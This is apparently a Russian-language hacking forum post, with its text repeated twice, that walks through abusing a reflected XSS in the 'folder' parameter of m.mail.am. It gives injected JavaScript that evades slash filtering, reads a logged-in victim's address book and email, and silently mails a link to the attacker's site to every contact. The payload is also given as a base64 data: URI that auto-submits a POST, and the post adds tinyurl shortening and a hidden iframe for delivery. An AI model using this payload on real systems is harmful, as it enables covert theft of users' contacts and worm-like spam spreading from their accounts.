M_script
22.05.2011, 16:45
Большинство людей применяют XSS только для того, чтобы получить чужие куки и использовать их в своих целях.
Но даже если использовать чужие куки невозможно (например, из-за привязки к IP), из XSS можно выжать еще многое.
В этом примере я покажу, как через пассивную XSS узнать мыло авторизованного пользователя mail.am, получить его контакт-лист и разослать по контакт-листу ссылку на свой сайт.
1) Пассивная XSS на сайте
http://m.mail.am/mail/reademail.php?id=x&folder=x
Уязвимый параметр - folder. Фильтруется слэш. Запрос можно передавать через POST
2) Внедряемый JS-код
PHP:
slash=String.fromCharCode(47);// переменная для обхода фи льтрации слэша
xmlhttp= newXMLHttpRequest;
xmlhttp.open('GET',
'http:'+slash+slash+'m.mail.am'+slash+'mail'+slash +'abook.php?func=open',
false);
xmlhttp.send(null);// запрос для получения стр аницы адресной книги
newBody=document.createElement('body');
newBody.innerHTML=xmlhttp.responseText;
myEmail=newBody.getElementsByTagName('title')[0].innerHTML.split(' - ')[1];// получение мыла пользоват еля со страницы ("Mail.AM - user@mail.am - {Address book}")
email='';
inputList=newBody.getElementsByTagName('input');
for(i=0;i
Форма автоматической отправки POST-запроса на mail.am со своего сайта:
PHP:
">
Чтобы скрыть реферер при отправке POST-запроса, используется протокол data:
PHP:
data:text/html;base64,PGJvZHkgb25sb2FkPSJkb2N1bWVudC5nZXRFbG VtZW50QnlJZCgneCcpLnN1Ym1pdCgpOyI%2bPGZvcm0gaWQ9J3 gnIGFjdGlvbj0iaHR0cDovL20ubWFpbC5hbS9tYWlsL3JlYWRl bWFpbC5waHAiIG1ldGhvZD0icG9zdCI%2bPGlucHV0IHR5cGU9 InRleHQiIG5hbWU9ImlkIiB2YWx1ZT0ieCI%2bPGlucHV0IHR5 cGU9InRleHQiIG5hbWU9ImZvbGRlciIgdmFsdWU9Ijxib2R5IG 9ubG9hZD0mcXVvdDtzPVN0cmluZy5mcm9tQ2hhckNvZGUoNDcp O3g9bmV3IFhNTEh0dHBSZXF1ZXN0O3gub3BlbignR0VUJywnaH R0cDonJTJicyUyYnMlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFp bCclMmJzJTJiJ2Fib29rLnBocD9mdW5jPW9wZW4nLGZhbHNlKT t4LnNlbmQobnVsbCk7Yj1kb2N1bWVudC5jcmVhdGVFbGVtZW50 KCdib2R5Jyk7Yi5pbm5lckhUTUw9eC5yZXNwb25zZVRleHQ7aW w9Yi5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTtlbT1i LmdldEVsZW1lbnRzQnlUYWdOYW1lKCd0aXRsZScpWzBdLmlubm VySFRNTC5zcGxpdCgnIC0gJylbMV07ZT0nJztmb3IoaT0wO2k8 aWwubGVuZ3RoO2klMmIlMmIpe2lmKGlsW2ldLm5hbWU9PSdUby cpe2UlMmI9aWxbaV0udmFsdWUlMmInLCc7fX1hbGVydChlbSUy Yic6JyUyYmUpO2Z1bmN0aW9uIGEocCxuLHYpe2k9ZG9jdW1lbn QuY3JlYXRlRWxlbWVudCgnaW5wdXQnKTtpLnR5cGU9J2hpZGRl bic7aS5uYW1lPW47aS52YWx1ZT12O3AuYXBwZW5kQ2hpbGQoaS k7fWY9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZm9ybScpO2Yu bWV0aG9kPSdQT1NUJztmLmFjdGlvbj0naHR0cDonJTJicyUyYn MlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFpbCclMmJzJTJiJ3Nl bmRtYWlsLnBocCc7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ0 5hbWUoJ2JvZHknKVswXS5hcHBlbmRDaGlsZChmKTthKGYsJ2Vt YWlsbWVzc2FnZScsJ2h0dHA6JyUyYnMlMmJzJTJiJ215c2l0ZS 5jb20nKTthKGYsJ2VtYWlsZnJvbScsZW0pO2EoZiwnZW1haWx0 bycsZSk7YShmLCdlbWFpbHN1YmplY3QnLCdoZWxsbycpO2Yuc3 VibWl0KCk7JnF1b3Q7PiI%2bPGlucHV0IHR5cGU9InN1Ym1pdC I%2bPC9mb3JtPjwvYm9keT4=
Полученую ссылку можно уменьшить через любой сервсис сокращения, например tinyurl.com:
PHP:
http://tinyurl.com/mailamtest
Добавляем скрытый фрейм на свой сайт:
PHP:
Теперь любой авторизованный пользователь mail.am, заходящий на сайт, незаметно будет отправлять по своему КЛ нужное сообщение.
P.S.:
Пример не работает:
в IE=8 и хроме из-за XSS-фильтров
Но даже если использовать чужие куки невозможно (например, из-за привязки к IP), из XSS можно выжать еще многое.
В этом примере я покажу, как через пассивную XSS узнать мыло авторизованного пользователя mail.am, получить его контакт-лист и разослать по контакт-листу ссылку на свой сайт.
1) Пассивная XSS на сайте
http://m.mail.am/mail/reademail.php?id=x&folder=x
Уязвимый параметр - folder. Фильтруется слэш. Запрос можно передавать через POST
2) Внедряемый JS-код
PHP:
slash=String.fromCharCode(47);// переменная для обхода фи льтрации слэша
xmlhttp= newXMLHttpRequest;
xmlhttp.open('GET',
'http:'+slash+slash+'m.mail.am'+slash+'mail'+slash +'abook.php?func=open',
false);
xmlhttp.send(null);// запрос для получения стр аницы адресной книги
newBody=document.createElement('body');
newBody.innerHTML=xmlhttp.responseText;
myEmail=newBody.getElementsByTagName('title')[0].innerHTML.split(' - ')[1];// получение мыла пользоват еля со страницы ("Mail.AM - user@mail.am - {Address book}")
email='';
inputList=newBody.getElementsByTagName('input');
for(i=0;i
Форма автоматической отправки POST-запроса на mail.am со своего сайта:
PHP:
">
Чтобы скрыть реферер при отправке POST-запроса, используется протокол data:
PHP:
data:text/html;base64,PGJvZHkgb25sb2FkPSJkb2N1bWVudC5nZXRFbG VtZW50QnlJZCgneCcpLnN1Ym1pdCgpOyI%2bPGZvcm0gaWQ9J3 gnIGFjdGlvbj0iaHR0cDovL20ubWFpbC5hbS9tYWlsL3JlYWRl bWFpbC5waHAiIG1ldGhvZD0icG9zdCI%2bPGlucHV0IHR5cGU9 InRleHQiIG5hbWU9ImlkIiB2YWx1ZT0ieCI%2bPGlucHV0IHR5 cGU9InRleHQiIG5hbWU9ImZvbGRlciIgdmFsdWU9Ijxib2R5IG 9ubG9hZD0mcXVvdDtzPVN0cmluZy5mcm9tQ2hhckNvZGUoNDcp O3g9bmV3IFhNTEh0dHBSZXF1ZXN0O3gub3BlbignR0VUJywnaH R0cDonJTJicyUyYnMlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFp bCclMmJzJTJiJ2Fib29rLnBocD9mdW5jPW9wZW4nLGZhbHNlKT t4LnNlbmQobnVsbCk7Yj1kb2N1bWVudC5jcmVhdGVFbGVtZW50 KCdib2R5Jyk7Yi5pbm5lckhUTUw9eC5yZXNwb25zZVRleHQ7aW w9Yi5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTtlbT1i LmdldEVsZW1lbnRzQnlUYWdOYW1lKCd0aXRsZScpWzBdLmlubm VySFRNTC5zcGxpdCgnIC0gJylbMV07ZT0nJztmb3IoaT0wO2k8 aWwubGVuZ3RoO2klMmIlMmIpe2lmKGlsW2ldLm5hbWU9PSdUby cpe2UlMmI9aWxbaV0udmFsdWUlMmInLCc7fX1hbGVydChlbSUy Yic6JyUyYmUpO2Z1bmN0aW9uIGEocCxuLHYpe2k9ZG9jdW1lbn QuY3JlYXRlRWxlbWVudCgnaW5wdXQnKTtpLnR5cGU9J2hpZGRl bic7aS5uYW1lPW47aS52YWx1ZT12O3AuYXBwZW5kQ2hpbGQoaS k7fWY9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZm9ybScpO2Yu bWV0aG9kPSdQT1NUJztmLmFjdGlvbj0naHR0cDonJTJicyUyYn MlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFpbCclMmJzJTJiJ3Nl bmRtYWlsLnBocCc7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ0 5hbWUoJ2JvZHknKVswXS5hcHBlbmRDaGlsZChmKTthKGYsJ2Vt YWlsbWVzc2FnZScsJ2h0dHA6JyUyYnMlMmJzJTJiJ215c2l0ZS 5jb20nKTthKGYsJ2VtYWlsZnJvbScsZW0pO2EoZiwnZW1haWx0 bycsZSk7YShmLCdlbWFpbHN1YmplY3QnLCdoZWxsbycpO2Yuc3 VibWl0KCk7JnF1b3Q7PiI%2bPGlucHV0IHR5cGU9InN1Ym1pdC I%2bPC9mb3JtPjwvYm9keT4=
Полученую ссылку можно уменьшить через любой сервсис сокращения, например tinyurl.com:
PHP:
http://tinyurl.com/mailamtest
Добавляем скрытый фрейм на свой сайт:
PHP:
Теперь любой авторизованный пользователь mail.am, заходящий на сайт, незаметно будет отправлять по своему КЛ нужное сообщение.
P.S.:
Пример не работает:
в IE=8 и хроме из-за XSS-фильтров